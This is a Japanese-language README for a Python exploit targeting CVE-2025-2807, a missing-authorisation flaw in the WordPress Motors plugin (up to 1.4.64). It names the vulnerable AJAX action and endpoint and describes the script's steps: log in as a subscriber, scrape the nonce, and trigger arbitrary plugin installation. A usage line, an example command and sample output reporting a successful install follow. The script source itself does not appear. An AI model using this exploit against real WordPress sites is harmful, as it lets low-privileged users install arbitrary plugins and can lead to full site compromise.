CVE-2025-2807: Motors プラグイン <= 1.4.64 - 任意プラグインインストールの脆弱性

エクスプロイト作者: Nxploited | Khaled Alenazi

⚠️ 脆弱性概要

プラグイン: Motors (<= 1.4.64)
タイプ: 認証済み（Subscriber+）任意プラグインインストールにおける認可の欠如
深刻度: 8.8 (CVSS v3)
発見日: 2025年4月7日
VDP: なし

🔥 エクスプロイトの影響

この脆弱性により、認証されたWordPressユーザー（Subscriber+） は、適切な認可チェックなしで任意のプラグインをインストールできます。

mvl_setup_wizard_install_plugin 関数におけるケイパビリティ検証の欠如により、低権限のユーザーが管理者専用の操作を実行できます。

📅 単純さと重大な影響により、大規模な悪用が予想されます。

🚫 技術的詳細

脆弱なエンドポイント: /wp-admin/admin-ajax.php
脆弱なアクション: mvl_setup_wizard_install_plugin
必要なアクセスレベル: Subscriber+（ログインユーザー）
根本的な問題: current_user_can('install_plugins') または同様のケイパビリティチェックの欠如

🚀 エクスプロイトスクリプト（Python）

このスクリプトは：

購読者（サブスクライバー）としてログインします
必要なnonceを（HTMLまたはJSから）抽出します
任意のプラグインをインストールするための脆弱なAJAX呼び出しをトリガーします

📃 使用方法

usage: CVE-2025-2807.py [-h] -u URL -un USERNAME -p PASSWORD [-pn PLUGIN]

Exploit For CVE-2025-2807 By: Nxploited | Khaled Alenazi

options:
  -h, --help            show this help message and exit
  -u, --url URL         Base URL of WordPress site
  -un, --username USERNAME     Subscriber username
  -p, --password PASSWORD      Subscriber password
  -pn, --plugin PLUGIN         Plugin to install (default: contact-form-7)

🐞 実行例

python3 CVE-2025-2807.py -u http://192.168.1.100/wordpress -un subscriber -p 123456 -pn contact-form-7

出力:

[*] Logging in...
[+] Logged in successfully.
[*] Fetching setup wizard page...
[+] Found nonce in HTML: 428cdf8347
[*] Attempting to install plugin: contact-form-7
[+] Plugin installation request sent successfully!
[+] Response: {"success":true,"data":"Plugin succesfully activated"}

CVE-2025-2807

人気